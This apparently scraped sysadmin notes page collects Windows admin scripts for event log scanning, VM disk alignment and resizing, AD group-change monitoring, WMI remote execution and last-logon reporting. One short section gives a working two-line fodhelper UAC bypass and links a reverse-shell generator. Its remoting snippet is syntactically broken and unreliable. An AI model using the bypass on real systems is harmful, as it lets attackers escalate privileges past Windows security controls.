EventLog Scanner (WMI)

EventLog Scanner (WMI)

 

 

[source language=”vb”]

Const ForReading = 1, ForWriting = 2, ForAppending = 3
Const CONVERT_TO_LOCAL_TIME = True

Set FileSystemObject = CreateObject("Scripting.FileSystemObject")
CurrentDirectory = left(WScript.ScriptFullName,(Len(WScript.ScriptFullName))-(len(WScript.ScriptName)))
Set DeviceListFile = FileSystemObject.OpenTextFile(CurrentDirectory & "\DeviceList.txt", ForReading)

Do Until DeviceListFile.AtEndOfStream
Devicename = DeviceListFile.ReadLine
If Trim(Devicename) <> "" Then
LastBootUpTime=""
Set winmgmts = GetObject("winmgmts:\\" & Devicename & "\root\cimv2")
Set Win32_OperatingSystem = winmgmts.ExecQuery ("Select * from Win32_OperatingSystem")
For each Instance in Win32_OperatingSystem
LastBootUpTime = Instance.LastBootUpTime
Next

Set objWMIService = GetObject("winmgmts:{impersonationLevel=impersonate,(Security)}!\\" & Devicename & "\root\cimv2")
Set colEvents = objWMIService.ExecQuery ("Select * from Win32_NTLogEvent Where Type = ‘Error’ and Logfile = ‘System’ and TimeWritten > ‘" & LastBootUpTime & "’")
For each objEvent in colEvents
Ignore = False
‘Drop your ignore strings in here. Just copy a line and drop your message over the top. Leave out anything non generic so you get better hits.

If Instr(objEvent.Message, "Contact the administrator to install the driver before you log in again.") > 0 Then Ignore=True
If Instr(objEvent.Message, "Remote Desktop Session Host server was unable to retrieve") > 0 Then Ignore=True
If Instr(objEvent.Message, "An SSL 3.0 connection request was received from a remote client application") > 0 Then Ignore=True
If Instr(objEvent.Message, "The Kerberos client received a KRB_AP_ERR_MODIFIED") > 0 Then Ignore=True
If Instr(objEvent.Message, "DCOM was unable to communicate with the computer") > 0 Then Ignore=True
If Instr(objEvent.Message, "The application-specific permission settings do not grant Local Launch permission for the COM Server application with CLSID") > 0 Then Ignore=True
If Instr(objEvent.Message, "The Terminal Server security layer detected an error in the protocol stream and has disconnected the client.") > 0 Then Ignore=True
If Instr(objEvent.Message, "The processing of Group Policy failed. Windows could not search the Active Directory organization unit hierarchy") > 0 Then Ignore=True
If Instr(objEvent.Message, "The following fatal alert was generated: 40. The internal error state is 107.") > 0 Then Ignore=True ‘This relates to securechannel falures. It happens intermittantly.

If Ignore = False Then Wscript.Echo Devicename & ", " & UtcDateToString(objEvent.TimeWritten) & ", " & objEvent.Message
Next
End if
Loop
DeviceListFile.Close

Function UtcDateToString(UtcFormattedDate)
UtcDateToString = CDate(Mid(UtcFormattedDate, 5, 2) & "/" & Mid(UtcFormattedDate, 7, 2) & "/" & Left(UtcFormattedDate, 4) & " " & Mid (UtcFormattedDate, 9, 2) & ":" & Mid(UtcFormattedDate, 11, 2) & ":" & Mid(UtcFormattedDate, 13, 2))
End Function

[/source]

VM Disk Alignment scripts

VM Disk Alignment scripts

 

  • Get Partition starting offset –
    • http://support.microsoft.com/kb/929491
    • [source]wmic partition get BlockSize, StartingOffset, Name, Index[/source]
  • Uber Aligh – http://nickapedia.com/2011/11/03/straighten-up-with-a-new-uber-tool-presenting-uberalign/
  • dmdiag -v
  • fsutil fsinfo ntfsinfo c:
  • diskpart /script

    [source]Diskpart
    list disk
    select disk <DiskNumber>
    create partition primary align=<Offset_in_KB>
    assign letter=<DriveLetter>
    format fs=ntfs unit=64K label="<label>" nowait[/source]

  • NetApp mbralign command – http://support.netapp.com/NOW/knowledge/docs/hba/esx/esxhu521/html/software/install/index.html
  • [source]# /opt/netapp/santools/mbralign –scan all

    /opt/netapp/santools/mbralign [filename].vmdk[/source]

How to Resize VDI Virtual Disks with PowerCLI Script

How to Resize VDI Virtual Disks with PowerCLI Script

To resize virtual disk in multiple Virtual Machines, a scripted process is recommended as it will make the job quicker and manageable.

This document is based on the following technology:

  • VMware ESX 4.1.0
  • Windows 7 Enterprise 32-bit SP0 Virtual Machine

If different version is used, the manual process and scripted process might need to be adjusted as some PowerCLI functions might have been deprecated.

Tools for Scripted Process

The script has been created to help the whole process quicker and less error prone. The script is developed with VMware vSphere PowerCLI, sysinternal and DiskPart.

There are 2 major steps to resize a disk in Virtual Machine:

  1. Resize the virtual disk of the Virtual Machine
  2. Extend the Guest Operating Systems’ volume

Those 2 steps are explained in more details on the section below

Resize the virtual disk of the Virtual Machine

To resize multiple or potentially hundred or thousand Virtual Machine, doing the manual resizing can definitely lead to error, not to mention the time it is going to take to do it.
A Script has been created to do this particular task. The script is based on VMware vSphere PowerCLI and sysinternal tools. PowerCLI is used to call the vSphere Web Service API to resize the virtual disk on each Virtual Machine. Sysinternal is used to execute the diskpart utility remotely on each Virtual Machine
Script Requirements

To be able to execute the script, the following file(s) and application are required:

  1. vSphere PowerCLI installed on the machine that is going to be used to run the PowerCLI script
  2. PsExec.exe file, downloaded from microsoft.com
  3. A text file contains a list of the computer name per line
  4. A text file contains a list of command for DiskPart

Extend the Guest Operating Systems’ volume

[source]

PsExec.ext @C:\Temp\Computers.txt –u DOMAIN\Username –h diskpart /s \\computer\share\Diskpart.txt

DiskPart-Checker.TXT
list volume
exit

Diskpart-Extend.TXT
Select Volume 2
extend
exit

[/source]

vSphere PowerCLI VDI-Extend.PS1

[source language=”powershell”]

#Get the vCenter Server Name
[System.Reflection.Assembly]::LoadWithPartialName(‘Microsoft.VisualBasic’) | Out-Null
$vC = [Microsoft.VisualBasic.Interaction]::InputBox("Enter the vCenter computer name", "Computer", "$env:computername")

#Connect to vCenter
Connect-VIServer -Server $vC

#Prompt File Function
function PromptFor-File
{
param
(
[String] $Type = "Open",
[String] $Title = "Select Computer File (One Computer Name per Line)",
[String] $Filename = $null,
[String[]] $FileTypes,
[switch] $RestoreDirectory,
[IO.DirectoryInfo] $InitialDirectory = $null
)

[void][System.Reflection.Assembly]::LoadWithPartialName(‘System.Windows.Forms’)

if ($FileTypes)
{
$FileTypes | % {
$filter += $_.ToUpper() + " Files|*.$_|"
}
$filter = $filter.TrimEnd("|")
}
else
{
$filter = "All Files|*.*"
}

switch ($Type)
{
"Open"
{
$dialog = New-Object System.Windows.Forms.OpenFileDialog
$dialog.Multiselect = $false
}
"Save"
{
$dialog = New-Object System.Windows.Forms.SaveFileDialog
}
}

$dialog.FileName = $Filename
$dialog.Title = $Title
$dialog.Filter = $filter
$dialog.RestoreDirectory = $RestoreDirectory
$dialog.InitialDirectory = $InitialDirectory.Fullname
$dialog.ShowHelp = $true

if ($dialog.ShowDialog() -eq [System.Windows.Forms.DialogResult]::OK)
{
return $dialog.FileName
}
else
{
return $null
}
}

#File Content
$file = PromptFor-File
$content = Get-Content $file

#Get Hard Disk Name
$hdd = [Microsoft.VisualBasic.Interaction]::InputBox("Enter the VM Disk Name", "VM Disk Name", "Hard disk 1")

#Get Hard Disk Size
$hddsGb = [Microsoft.VisualBasic.Interaction]::InputBox("Enter the Disk Size in GB", "VM Disk Size", "")
$hddsKb = [int]$hddsGb * 1024 * 1024

foreach($c in $content)
{
try{
#Extend the vmdk file
Get-VM -Name $c | Get-HardDisk | Where-Object {$_.Name -eq $hdd} | Set-HardDisk -CapacityKB $hddsKb
}
catch{
Write-Host "This VM: " + $c + " is not recognized" -ForegroundColor Red
}
}

[/source]

Monitor Active Directory Group membership change [Script]

Monitor Active Directory Group membership change [Script]

Fantastic script – http://gallery.technet.microsoft.com/Monitor-Active-Directory-4c4e04c7

[source language=”powershell”]

<#
.SYNOPSIS
This script is monitoring group(s) in Active Directory and send an email when someone is changing the membership.

.DESCRIPTION
This script is monitoring group(s) in Active Directory and send an email when someone is changing the membership.
It will also report the Change History made for this/those group(s).

.PARAMETER Group
Specify the group(s) to query in Active Directory.
You can also specify the ‘DN’,’GUID’,’SID’ or the ‘Name’ of your group(s).
Using ‘Domain\Name’ will also work.

.PARAMETER Group
Specify the group(s) to query in Active Directory.
You can also specify the ‘DN’,’GUID’,’SID’ or the ‘Name’ of your group(s).
Using ‘Domain\Name’ will also work.

.PARAMETER SearchRoot
Specify the DN, GUID or canonical name of the domain or container to search. By default, the script searches the entire sub-tree of which SearchRoot is the topmost object (sub-tree search). This default behavior can be altered by using the SearchScope parameter.

.PARAMETER SearchScope
Specify one of these parameter values
‘Base’ Limits the search to the base (SearchRoot) object.
The result contains a maximum of one object.
‘OneLevel’ Searches the immediate child objects of the base (SearchRoot)
object, excluding the base object.
‘Subtree’ Searches the whole sub-tree, including the base (SearchRoot)
object and all its child objects.

.PARAMETER GroupScope
Specify the group scope of groups you want to find. Acceptable values are:
‘Global’;
‘Universal’;
‘DomainLocal’.

.PARAMETER GroupType
Specify the group type of groups you want to find. Acceptable values are:
‘Security’;
‘Distribution’.

.PARAMETER File
Specify the File where the Group are listed. DN, SID, GUID, or Domain\Name of the group are accepted.

.PARAMETER EmailServer
Specify the Email Server IPAddress/FQDN.

.PARAMETER EmailTo
Specify the Email Address(es) of the Destination. Example: [email protected]

.PARAMETER EmailFrom
Specify the Email Address of the Sender. Example: [email protected]

.EXAMPLE
.\TOOL-Monitor-AD_Group.ps1 -Group "FXGroup" -EmailFrom "[email protected]" -EmailTo "[email protected]" -EmailServer "mail.company.com"

This will run the script against the group FXGROUP and send an email to [email protected] using the address [email protected] and the server mail.company.com.

.EXAMPLE
.\TOOL-Monitor-AD_Group.ps1 -Group "FXGroup","FXGroup2","FXGroup3" -EmailFrom "[email protected]" -Emailto "[email protected]" -EmailServer "mail.company.com"

This will run the script against the groups FXGROUP,FXGROUP2 and FXGROUP3 and send an email to [email protected] using the address [email protected] and the Server mail.company.com.

.EXAMPLE
.\TOOL-Monitor-AD_Group.ps1 -Group "FXGroup" -EmailFrom "[email protected]" -Emailto "[email protected]" -EmailServer "mail.company.com" -Verbose

This will run the script against the group FXGROUP and send an email to [email protected] using the address [email protected] and the server mail.company.com. Additionally the switch Verbose is activated to show the activities of the script.

.EXAMPLE
.\TOOL-Monitor-AD_Group.ps1 -Group "FXGroup" -EmailFrom "[email protected]" -Emailto "[email protected]","[email protected]" -EmailServer "mail.company.com" -Verbose

This will run the script against the group FXGROUP and send an email to [email protected] and [email protected] using the address [email protected] and the server mail.company.com. Additionally the switch Verbose is activated to show the activities of the script.

.EXAMPLE
.\TOOL-Monitor-AD_Group.ps1 -SearchRoot ‘FX.LAB/TEST/Groups’ -Emailfrom [email protected] -Emailto "[email protected]" -EmailServer 192.168.1.10 -Verbose

This will run the script against all the groups present in the CanonicalName ‘FX.LAB/TEST/Groups’ and send an email to [email protected] using the address [email protected] and the server 192.168.1.10. Additionally the switch Verbose is activated to show the activities of the script.

.EXAMPLE
.\TOOL-Monitor-AD_Group.ps1 -file .\groupslist.txt -Emailfrom [email protected] -Emailto "[email protected]" -EmailServer 192.168.1.10 -Verbose

This will run the script against all the groups present in the file groupslists.txt and send an email to [email protected] using the address [email protected] and the server 192.168.1.10. Additionally the switch Verbose is activated to show the activities of the script.

.INPUTS
System.String

.OUTPUTS
Email Report
.NOTES
NAME: TOOL-Monitor-AD_Group.ps1
AUTHOR: Francois-Xavier CAT
DATE: 2012/02/01
EMAIL: [email protected]

REQUIREMENTS:
-Read Permission in Active Directory on the monitored groups
-Quest Active Directory PowerShell Snapin
-A Scheduled Task (in order to check every X seconds/minutes/hours)

VERSION HISTORY:
1.0 2012.02.01
Initial Version

1.1 2012.03.13
CHANGE to monitor both Domain Admins and Enterprise Admins

1.2 2013.09.23
FIX issue when specifying group with domain ‘DOMAIN\Group’
CHANGE Script Format (BEGIN, PROCESS, END)
ADD Minimal Error handling. (TRY CATCH)

1.3 2013.10.05
CHANGE in the PROCESS BLOCK, the TRY CATCH blocks and placed
them inside the FOREACH instead of inside the TRY block
ADD support for Verbose
CHANGE the output file name "DOMAIN_GROUPNAME-membership.csv"
ADD a Change History File for each group(s)
example: "GROUPNAME-ChangesHistory-yyyyMMdd-hhmmss.csv"
ADD more Error Handling
ADD a HTML Report instead of plain text
ADD HTML header
ADD HTML header for change history

1.4 2013.10.11
CHANGE the ‘Change History’ filename to
"DOMAIN_GROUPNAME-ChangesHistory-yyyyMMdd-hhmmss.csv"
UPDATE Comments Based Help
ADD Some Variable Parameters
1.5 2013.10.13
ADD the full Parameter Names for each Cmdlets used in this script
ADD Alias to the Group ParameterName
1.6 2013.11.21
ADD Support for Organizational Unit (SearchRoot parameter)
ADD Support for file input (File Parameter)
ADD ParamaterSetNames and parameters GroupType/GroupScope/SearchScope
REMOVE [mailaddress] type on $Emailfrom and $EmailTo to make the script available to PowerShell 2.0
ADD Regular expression validation on $Emailfrom and $EmailTo

2013.11.23
ADD ValidateScript on File Parameter
ADD Additional information about the Group in the Report
CHANGE the format of the $changes output, it will now include the DateTime Property
UPDATE Help
ADD DisplayName Property in the report

2013.11.27
Minor syntax changes
UPDATE Help
#>

#requires -version 2.0

[CmdletBinding()]
PARAM(
[Parameter(ParameterSetName="Group",Mandatory=$true,HelpMessage="You must specify at least one Active Directory group")]
[ValidateNotNull()]
[Alias(‘DN’,’DistinguishedName’,’GUID’,’SID’,’Name’)]
[string[]]$Group,

[Parameter(ParameterSetName="OU",Mandatory=$true)]
[String[]]$SearchRoot,

[Parameter(ParameterSetName="OU")]
[ValidateSet("Base","OneLevel","Subtree")]
[String]$SearchScope,

[Parameter(ParameterSetName="OU")]
[ValidateSet("Global","Universal","DomainLocal")]
[String]$GroupScope,

[Parameter(ParameterSetName="OU")]
[ValidateSet("Security","Distribution")]
[String]$GroupType,

[Parameter(ParameterSetName="File",Mandatory=$true)]
[ValidateScript({Test-Path -Path $_})]
[String[]]$File,

[Parameter(Mandatory=$true,HelpMessage="You must specify the Sender Email Address")]
[ValidatePattern("[a-z0-9!#\$%&’*+/=?^_`{|}~-]+(?:\.[a-z0-9!#\$%&’*+/=?^_`{|}~-]+)*@(?:[a-z0-9](?:[a-z0-9-]*[a-z0-9])?\.)+[a-z0-9](?:[a-z0-9-]*[a-z0-9])?")]
[String]$Emailfrom,

[Parameter(Mandatory=$true,HelpMessage="You must specify the Destination Email Address")]
[ValidatePattern("[a-z0-9!#\$%&’*+/=?^_`{|}~-]+(?:\.[a-z0-9!#\$%&’*+/=?^_`{|}~-]+)*@(?:[a-z0-9](?:[a-z0-9-]*[a-z0-9])?\.)+[a-z0-9](?:[a-z0-9-]*[a-z0-9])?")]
[String[]]$Emailto,

[Parameter(Mandatory=$true,HelpMessage="You must specify the Email Server to use (IPAddress or FQDN)")]
[String]$EmailServer
)

BEGIN {
TRY{

# Set the Paths Variables and create the folders if not present
$ScriptPath = (Split-Path -Path ((Get-Variable -Name MyInvocation).Value).MyCommand.Path)
$ScriptPathOutput = $ScriptPath + "\Output"
IF (!(Test-Path -Path $ScriptPathOutput))
{
Write-Verbose -Message "Creating the Output Folder : $ScriptPathOutput"
New-Item -Path $ScriptPathOutput -ItemType Directory | Out-Null
}
$ScriptPathChangeHistory = $ScriptPath + "\ChangeHistory"
IF (!(Test-Path -Path $ScriptPathChangeHistory))
{
Write-Verbose -Message "Creating the ChangeHistory Folder : $ScriptPathChangeHistory"
New-Item -Path $ScriptPathChangeHistory -ItemType Directory | Out-Null
}

# Set the Date and Time variables format
$DateFormat = Get-Date -Format "yyyyMMdd_HHmmss"
$ReportDateFormat = Get-Date -Format "yyyy\MM\dd HH:mm:ss"

# Quest Active Directory Snapin
IF (!(Get-PSSnapin -Name Quest.ActiveRoles.ADManagement -ErrorAction SilentlyContinue -ErrorVariable ErrorBEGINGetQuestAD))
{
Write-Verbose -Message "Quest Active Directory – Loading"
Add-PSSnapin -Name Quest.ActiveRoles.ADManagement -ErrorAction Stop -ErrorVariable ErrorBEGINAddQuestAd
Write-Verbose -Message "Quest Active Directory – Loaded"
}

# HTML Report settings
$Report = "<p style=`"background-color:white;font-family:consolas;font-size:9pt`">"+
"<strong>Report Time:</strong> $DateFormat <br>"+
"<strong>Account:</strong> $env:userdomain\$($env:username.toupper()) on $($env:ComputerName.toUpper())"+
"</p>"

$Head = "<style>"+
"BODY{background-color:white;font-family:consolas;font-size:11pt}"+
"TABLE{border-width: 1px;border-style: solid;border-color: black;border-collapse: collapse}"+
"TH{border-width: 1px;padding: 3px;border-style: solid;border-color: black;background-color:`"#00297A`";font-color:white}"+
"TD{border-width: 1px;padding-right: 2px;padding-left: 2px;padding-top: 0px;padding-bottom: 0px;border-style: solid;border-color: black;background-color:white}"+
"</style>"
$Head2 = "<style>"+
"BODY{background-color:white;font-family:consolas;font-size:9pt;}"+
"TABLE{border-width: 1px;border-style: solid;border-color: black;border-collapse: collapse;}"+
"TH{border-width: 1px;padding: 3px;border-style: solid;border-color: black;background-color:`"#C0C0C0`"}"+
"TD{border-width: 1px;padding-right: 2px;padding-left: 2px;padding-top: 0px;padding-bottom: 0px;border-style: solid;border-color: black;background-color:white}"+
"</style>"
}#TRY
CATCH{
Write-Warning -Message "BEGIN BLOCK – Something went wrong"
if ($ErrorBEGINGetQuestAD){Write-Warning -Message "BEGIN BLOCK – Can’t Find the Quest Active Directory Snappin"}
if ($ErrorBEGINAddQuestAD){Write-Warning -Message "BEGIN BLOCK – Can’t Load the Quest Active Directory Snappin"}
}#CATCH
}#BEGIN

PROCESS{

# SearchRoot parameter specified
IF ($PSBoundParameters[‘SearchRoot’]) {
FOREACH ($item in $SearchRoot) {

# Splatting
$GetQADGroupParams = @{
SearchRoot = $item
}
IF ($PSBoundParameters[‘SearchScope’]){
$GetQADGroupParams.SearchScope = $SearchScope
}#IF ($PSBoundParameters[‘SearchScope’])
IF ($PSBoundParameters[‘GroupScope’]){
$GetQADGroupParams.GroupScope = $GroupScope
}#IF ($PSBoundParameters[‘GroupScope’])
IF ($PSBoundParameters[‘GroupType’]){
$GetQADGroupParams.GroupType = $GroupType
}#IF ($PSBoundParameters[‘GroupType’])

# Add the Groups in the $group variable
$group += (Get-QADGroup @GetQADGroupParams).DN
Write-Verbose -Message "OU: $item"

}#FOREACH ($item in $OU)
}#IF ($PSBoundParameters[‘SearchRoot’])

# File parameter specified
IF ($PSBoundParameters[‘File’]) {
FOREACH ($item in $File)
{
Write-Verbose -Message "Loading File: $item"
$Group += Get-Content -Path $File
}#FOREACH ($item in $File)
}#IF ($PSBoundParameters[‘File’])

FOREACH ($item in $Group){
TRY{

Write-Verbose -Message "GROUP: $item"

# CURRENT MEMBERSHIP
$GroupName = Get-QADgroup $item -ErrorAction Continue -ErrorVariable ErrorProcessGetQADGroup

# GroupName Found
IF ($GroupName){

# Get GroupName Membership
$Members = Get-QADGroupMember -Identity $GroupName -Indirect -ErrorAction Stop -ErrorVariable ErrorProcessGetQADGroupMember #| Select-Object -Property Name, SamAccountName, DN

# NO MEMBERS, Add some info in $members to avoid the $null
# If the value is $null the compare-object won’t work
IF (-not($Members)){
$Members = New-Object -TypeName PSObject -Property @{
Name = "No User or Group"
SamAccountName = "No User or Group"}
}

# GroupName Membership File
# If the file doesn’t exist, assume we don’t have a record to refer to
$StateFile = "$($GroupName.domain.name)_$($GroupName.name)-membership.csv"
IF (!(Test-Path -Path (Join-Path -Path $ScriptPathOutput -ChildPath $StateFile))){
Write-Verbose -Message "$item – The following file did not exist: $StateFile"
Write-Verbose -Message "$item – Exporting the current membership information into the file: $StateFile"
$Members | Export-csv -Path (Join-Path -Path $ScriptPathOutput -ChildPath $StateFile) -NoTypeInformation
}ELSE {
Write-Verbose -Message "$item – The following file Exists: $StateFile"
}
# GroupName Membership File is compared with the current GroupName Membership
Write-Verbose -Message "$item – Comparing Current and Before"
$ImportCSV = Import-Csv -Path (Join-Path -path $ScriptPathOutput -childpath $StateFile) -ErrorAction Stop -ErrorVariable ErrorProcessImportCSV
$Changes = Compare-Object -DifferenceObject $ImportCSV -ReferenceObject $Members -ErrorAction stop -ErrorVariable ErrorProcessCompareObject -Property Name,SamAccountName, DN | Select-Object @{Name="DateTime";Expression={Get-Date -Format "yyyyMMdd-hh:mm:ss"}},@{n=’State’;e={IF ($_.SideIndicator -eq "=>"){"Removed"}ELSE { "Added" }}},DisplayName, SamAccountName, DN | Where-Object {$_.name -notlike "*no user or group*"}
Write-Verbose -Message "$item – Compare Block Done !"

# CHANGES FOUND !
If ($Changes) {
Write-Verbose -Message "$item – Some changes found"
$changes

# CHANGE HISTORY
# Get the Past Changes History
Write-Verbose -Message "$item – Get the change history for this group"
$ChangesHistoryFiles = Get-ChildItem -Path $ScriptPathChangeHistory\$($GroupName.domain.name)_$($GroupName.name)-ChangeHistory.csv -ErrorAction ‘SilentlyContinue’
Write-Verbose -Message "$item – Change history files: $(($ChangesHistoryFiles|Measure-Object).Count)"

# Process each history changes
IF ($ChangesHistoryFiles){
$infoChangeHistory=@()
FOREACH ($file in $ChangesHistoryFiles.FullName){
Write-Verbose -Message "$item – Change history files – Loading $file"
# Import the file and show the $file creation time and its content
$ImportedFile = Import-Csv -Path $file -ErrorAction Stop -ErrorVariable ErrorProcessImportCSVChangeHistory
FOREACH ($obj in $ImportedFile){
$Output = "" | Select-Object -Property DateTime,State,DisplayName,SamAccountName,DN
#$Output.DateTime = $file.CreationTime.GetDateTimeFormats("u") | Out-String
$Output.DateTime = $obj.DateTime
$Output.State = $obj.State
$Output.DisplayName = $obj.DisplayName
$Output.SamAccountName = $obj.SamAccountName
$Output.DN = $obj.DN
$infoChangeHistory = $infoChangeHistory + $Output
}#FOREACH $obj in Import-csv $file
}#FOREACH $file in $ChangeHistoryFiles
Write-Verbose -Message "$item – Change history process completed"
}#IF($ChangeHistoryFiles)

# CHANGE(S) EXPORT TO CSV
Write-Verbose -Message "$item – Save changes to a ChangesHistory file"

IF (-not(Test-Path -path (Join-Path -Path $ScriptPathChangeHistory -ChildPath "$($GroupName.domain.name)_$($GroupName.name)-ChangeHistory.csv"))){
$Changes | Export-Csv -Path (Join-Path -Path $ScriptPathChangeHistory -ChildPath "$($GroupName.domain.name)_$($GroupName.name)-ChangeHistory.csv") -NoTypeInformation
}
ELSE{
#$Changes | Export-Csv -Path (Join-Path -Path $ScriptPathChangeHistory -ChildPath "$($GroupName.domain.name)_$($GroupName.name)-ChangeHistory-$DateFormat.csv") -NoTypeInformation
$Changes | Export-Csv -Path (Join-Path -Path $ScriptPathChangeHistory -ChildPath "$($GroupName.domain.name)_$($GroupName.name)-ChangeHistory.csv") -NoTypeInformation -Append
}
# EMAIL
Write-Verbose -Message "$item – Preparing the notification email…"

$EmailSubject = "PS MONITORING – $($GroupName.NTAccountName) Membership Change"

# Preparing the body of the Email
$body = "<h2>Group: $($GroupName.NTAccountName)</h2>"
$body += "<p style=`"background-color:white;font-family:consolas;font-size:8pt`">"
$body += "<u>Group Description:</u> $($GroupName.Description)<br>"
$body += "<u>Group DN:</u> $($GroupName.DN)<br>"
$body += "<u>Group CanonicalName:</u> $($GroupName.CanonicalName)<br>"
$body += "<u>Group SID:</u> $($GroupName.Sid)<br>"
$body += "<u>Group Scope/Type:</u> $($GroupName.GroupScope) / $($GroupName.GroupType)<br>"
$body += "</p>"

$body += "<h3> Membership Change"
$body += "</h3>"
$body += "<i>The membership of this group changed. See the following Added or Removed members.</i>"
$body += $changes | ConvertTo-Html -head $head | Out-String
$body += "<br><br><br>"
IF ($ChangesHistoryFiles){
$body += "<h3>Change History</h3>"
$body += "<i>List of the previous changes on this group observed by the script</i>"
$body += $infoChangeHistory | Sort-Object -Property DateTime -Descending | ConvertTo-Html -Fragment -PreContent $Head2| Out-String
}
$body = $body -replace "Added","<font color=`"blue`"><b>Added</b></font>"
$body = $body -replace "Removed","<font color=`"red`"><b>Removed</b></font>"
$body += $Report

# Preparing the Email properties
$SmtpClient = New-Object -TypeName system.net.mail.smtpClient
$SmtpClient.host = $EmailServer
$MailMessage = New-Object -TypeName system.net.mail.mailmessage
#$MailMessage.from = $EmailFrom.Address
$MailMessage.from = $EmailFrom
#FOREACH ($To in $Emailto){$MailMessage.To.add($($To.Address))}
FOREACH ($To in $Emailto){$MailMessage.To.add($($To))}
$MailMessage.IsBodyHtml = 1
$MailMessage.Subject = $EmailSubject
$MailMessage.Body = $Body

# Sending the Email
$SmtpClient.Send($MailMessage)
Write-Verbose -Message "$item – Email Sent."
# GroupName Membership export to CSV
Write-Verbose -Message "$item – Exporting the current membership to $StateFile"
$Members | Export-csv -Path (Join-Path -Path $ScriptPathOutput -ChildPath $StateFile) -NoTypeInformation -Encoding Unicode
}#IF $Change
ELSE {Write-Verbose -Message "$item – No Change"}

}#IF ($GroupName)
ELSE{
Write-Verbose -message "$item – Group can’t be found"
#IF (Get-ChildItem (Join-Path $ScriptPathOutput "*$item*-membership.csv" -ErrorAction Continue) -or (Get-ChildItem (Join-Path $ScriptPathChangeHistory "*$item*.csv" -ErrorAction Continue)))
#{
# Write-Warning "$item – Looks like a file contains the name of this group, this group was possibly deleted from Active Directory"
#}

}#ELSE $GroupName
}#TRY
CATCH{
Write-Warning -Message "PROCESS BLOCK – Something went wrong"

if($ErrorProcessGetQADGroup){Write-warning -Message "Error When querying the group $item in Active Directory"}
if($ErrorProcessGetQADGroupMember){Write-warning -Message "Error When querying the group $item members in Active Directory"}
if($ErrorProcessImportCSV){Write-warning -Message "Error Importing $StateFile"}
if($ErrorProcessCompareObject){Write-warning -Message "Error when comparing"}
if($ErrorProcessImportCSVChangeHistory){Write-warning -Message "Error Importing $file"}

Write-Warning -Message "LAST ERROR: $error[0]"
}#CATCH
}#FOREACH
}#PROCESS
END{
Write-Verbose -message "Script Completed"
}

[/source]

PowerShell Remoting and Privilege Escalation

PowerShell Remoting – execute script on all Servers in domain

[source]

$s = new-pssession -computername | dsquery computer
invoke-command -session $s {$h = get-hotfix}
invoke-command -session $s {$h | where {$_.installedby -ne “NTAUTHORITY\SYSTEM”

[/source]

UAC bypass in 2 lines:
1.New-Item -Path HKCU:\Software\Classes\ms-settings\shell\open\command -Value cmd.exe -Force

2.New-ItemProperty -Path HKCU:\Software\Classes\ms-settings\shell\open\command -Name DelegateExecute -PropertyType String -Force

Cmd = fodhelper

code by netbiosX (bypass User Access Control (UAC) via fodhelper.exe) ==> https://lnkd.in/eNYByZu
article (published 2017) ==> https://lnkd.in/eB7kxGH

https://lnkd.in/eTTi5nM

https://weibell.github.io/reverse-shell-generator/

https://github.com/itm4n/PrivescCheck

WMI Remote execute command

WMI Remote execute command

 

[source]

‘—————————————————————————–
‘ Execute a Remote Process without using PSexec.
‘ because of the outputting to a file, but is safer than installing and
‘ uninstalling services on servers(which psexec does).
‘—————————————————————————–
Function RemoteExecution(Server, Command, WorkingDirectory, Username, Password)
Err.Clear()
RemoteExecution="ERROR"

IpcConnection Server, Username, Password

set FileSystemObject=CreateObject("Scripting.FileSystemObject")
OutputFileName=FileSystemObject.GetTempName

Set objSWbemLocator = CreateObject("WbemScripting.SWbemLocator")
Set objWMIService = objSWbemLocator.ConnectServer(Server, "root\cimv2", Username, Password)
Set objCreateProc = objWMIService.Get("Win32_Process")
If Err.Number <> 0 Then Exit Function

Ret = objCreateProc.Create ( "cmd /c " & Command & " > c:\" & OutputFileName & " 2>>&1", WorkingDirectory, null, MyProcessID)

If MyProcessID = "" Then Exit Function
If Ret <> 0 then Exit Function

Set objSWbemLocator = CreateObject("WbemScripting.SWbemLocator")
Set objWMIService = objSWbemLocator.ConnectServer(Server, "root\cimv2", Username, Password)

Err.Clear()
Timeout=0
Do While True
Set Processes = objWMIService.ExecQuery("Select ProcessID From Win32_Process where ProcessID=’" & MyProcessID & "’")
Wscript.Sleep 500
Timeout = Timeout + 500
If Timeout > 10000 Then
Exit Do
End If
If Processes.Count = 0 Then Exit Do
If Err Then Exit Do
Set Processes = Nothing
Loop

Err.Clear()

Set RemoteExecutionOutputFile = FileSystemObject.OpenTextFile("\\" & Server & "\c$\" & OutputFileName, 1)
Timeout=0
Do While Err.number <> 0
Wscript.Sleep 500
Timeout = Timeout + 500
If Timeout > 10000 Then
Exit Do
End If
Err.Clear()
Set RemoteExecutionOutputFile = FileSystemObject.OpenTextFile("\\" & Server & "\c$\" & OutputFileName, 1)
loop

RemoteExecutionFileContents = RemoteExecutionOutputFile.ReadAll
If Err.number = 62 Then
‘This happens If the cmd is still redirecting output towards the file. We jumped the gun a little.
Timeout=0
Do While Err.number <> 0
Wscript.Sleep 500
Timeout = Timeout + 500
If Timeout > 10000 Then
Exit Function
End If
Err.Clear()
RemoteExecutionFileContents = RemoteExecutionOutputFile.ReadAll
Loop
End If

If RemoteExecutionFileContents = "" Then
Exit Function
End If

RemoteExecutionOutputFile.Close
Set RemoteExecutionOutputFile = Nothing
FileSystemObject.DeleteFile("\\" & Server & "\c$\" & OutputFileName)
RemoteExecution = RemoteExecutionFileContents
End Function

[/source]

Find Last login

Find Last login

 

[source]

$NumDays = 0
$LogDir = ".\Users-Last-Logon.csv"

$currentDate = [System.DateTime]::Now
$currentDateUtc = $currentDate.ToUniversalTime()
$lltstamplimit = $currentDateUtc.AddDays(- $NumDays)
$lltIntLimit = $lltstampLimit.ToFileTime()
$adobjroot = [adsi]”
$objstalesearcher = New-Object System.DirectoryServices.DirectorySearcher($adobjroot)
$objstalesearcher.filter = "(&(objectCategory=person)(objectClass=user)(lastLogonTimeStamp<=" + $lltIntLimit + "))"

$users = $objstalesearcher.findall() | select `
@{e={$_.properties.cn};n=’Display Name’},`
@{e={$_.properties.samaccountname};n=’Username’},`
@{e={[datetime]::FromFileTimeUtc([int64]$_.properties.lastlogontimestamp[0])};n=’Last Logon’},`
@{e={[string]$adspath=$_.properties.adspath;$account=[ADSI]$adspath;$account.psbase.invokeget(‘AccountDisabled’)};n=’Account Is Disabled’}

$users | Export-CSV -NoType $LogDir

[/source]